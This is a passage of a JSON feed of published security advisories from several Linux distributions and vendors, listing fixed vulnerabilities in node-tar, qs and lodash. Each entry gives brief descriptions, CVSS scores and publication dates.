debug Intel SGX enabled applications in C/C++.\n\nSecurity Fix(es):\n\n* qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)\n\n* lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)\n\n* node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Rocky Linux 10 Release Notes linked from the References section.","status":"published","published":"2026-05-29T16:03:45.659533Z","modified":"2026-05-29T16:30:23.740685725Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:53:25.508922Z"},{"id":"RLSA-2026:18868","title":"Important: linux-sgx security update","description":"The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.\n\nSecurity Fix(es):\n\n* qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)\n\n* node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)\n\n* lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)\n\n* node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Rocky Linux 9 Release Notes linked from the References section.","status":"published","published":"2026-05-28T15:43:06.024531Z","modified":"2026-05-28T16:00:24.767658806Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:53:25.508922Z"},{"id":"ROOT-APP-NPM-CVE-2026-24842","title":"CVE-2026-24842 in tar - Patched by Root","description":"Root has patched CVE-2026-24842 in the tar package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-11-03T05:38:33Z","modified":"2026-11-03T06:15:04.509984281Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-03T06:41:39.834803Z"},{"id":"UBUNTU-CVE-2026-24842","description":"node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.","status":"published","published":"2026-01-28T01:16:00Z","modified":"2026-10-17T12:58:07.515400828Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:08.726452Z"},{"id":"ALSA-2026:18480","title":"Important: linux-sgx security update","description":"The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.  \n\nSecurity Fix(es):  \n\n  * qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)\n  * node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)\n  * node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)\n  * lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)\n  * node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.  \n\nAdditional Changes:  \n\nFor detailed information on changes in this release, see the AlmaLinux Release Notes linked from the References section.\n","status":"published","published":"2026-05-19T00:00:00Z","modified":"2026-10-29T11:30:15.225622392Z","updated_at":"2026-11-02T15:27:53.875139Z"},{"id":"ALSA-2026:18868","title":"Important: linux-sgx security update","description":"The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.  \n\nSecurity Fix(es):  \n\n  * qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)\n  * node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)\n  * node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)\n  * lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)\n  * node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.  \n\nAdditional Changes:  \n\nFor detailed information on changes in this release, see the AlmaLinuxRelease Notes linked from the References section.\n","status":"published","published":"2026-05-19T00:00:00Z","modified":"2026-10-29T11:32:30.97810048Z","updated_at":"2026-11-02T15:27:53.875139Z"},{"id":"CLSA-2026-1773188129","title":"TuxCare security update for tar (7 CVEs)","description":"TuxCare rebuilt tar to address 7 CVEs. Fixed in 2.2.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:12Z","modified":"2026-10-15T09:47:27.769618678Z","updated_at":"2026-11-02T15:43:43.249928Z"},{"id":"CLSA-2026-1773533794","title":"TuxCare security update for tar (6 CVEs)","description":"TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:12Z","modified":"2026-10-15T09:47:28.780703773Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1773706632","title":"TuxCare security update for tar (4 CVEs)","description":"TuxCare rebuilt tar to address 4 CVEs. Fixed in 1.0.3-tuxcare.2.","status":"published","published":"2026-08-04T14:52:13Z","modified":"2026-10-15T09:47:47.069240169Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774830255","title":"TuxCare security update for tar (4 CVEs)","description":"TuxCare rebuilt tar to address 4 CVEs. Fixed in 2.1.1-tuxcare.2.","status":"published","published":"2026-08-04T14:52:16Z","modified":"2026-10-25T01:43:09.243456592Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1787916963","title":"TuxCare security update for tar (5 CVEs)","description":"TuxCare rebuilt tar to address 5 CVEs. Fixed in 6.2.0-tuxcare.2.","status":"withdrawn","published":"2026-08-28T11:36:03Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1792074268","title":"TuxCare security update for tar (8 CVEs)","description":"TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.2.0-tuxcare.5.","status":"published","published":"2026-10-15T14:24:28Z","modified":"2026-10-16T19:13:10.687653114Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792074305","title":"TuxCare security update for tar (12 CVEs)","description":"TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.","status":"published","published":"2026-10-15T14:25:05Z","modified":"2026-10-15T19:00:02.575217399Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1793307830","title":"TuxCare security update for tar (11 CVEs)","description":"TuxCare rebuilt tar to address 11 CVEs. Fixed in 4.4.19-tuxcare.5.","status":"published","published":"2026-10-29T22:03:51Z","modified":"2026-10-30T02:15:07.69312809Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"CLSA-2026-1793364175","title":"TuxCare security update for tar (2 CVEs)","description":"TuxCare rebuilt tar to address 2 CVEs. Fixed in 6.1.0-tuxcare.4.","status":"published","published":"2026-10-30T13:42:56Z","modified":"2026-10-30T19:45:14.613315479Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"CLSA-2026-1793365674","title":"TuxCare security update for tar (2 CVEs)","description":"TuxCare rebuilt tar to address 2 CVEs. Fixed in 6.1.6-tuxcare.4.","status":"published","published":"2026-10-30T14:07:55Z","modified":"2026-10-30T19:45:13.702717411Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"openSUSE-SU-2026:10410-1","title":"pnpm-10.32.1-1.1 on GA media","description":"These are all security issues fixed in the pnpm-10.32.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-03-23T00:00:00Z","modified":"2026-03-24T08:45:07.090662Z","updated_at":"2026-11-02T16:58:38.415593Z"}]}}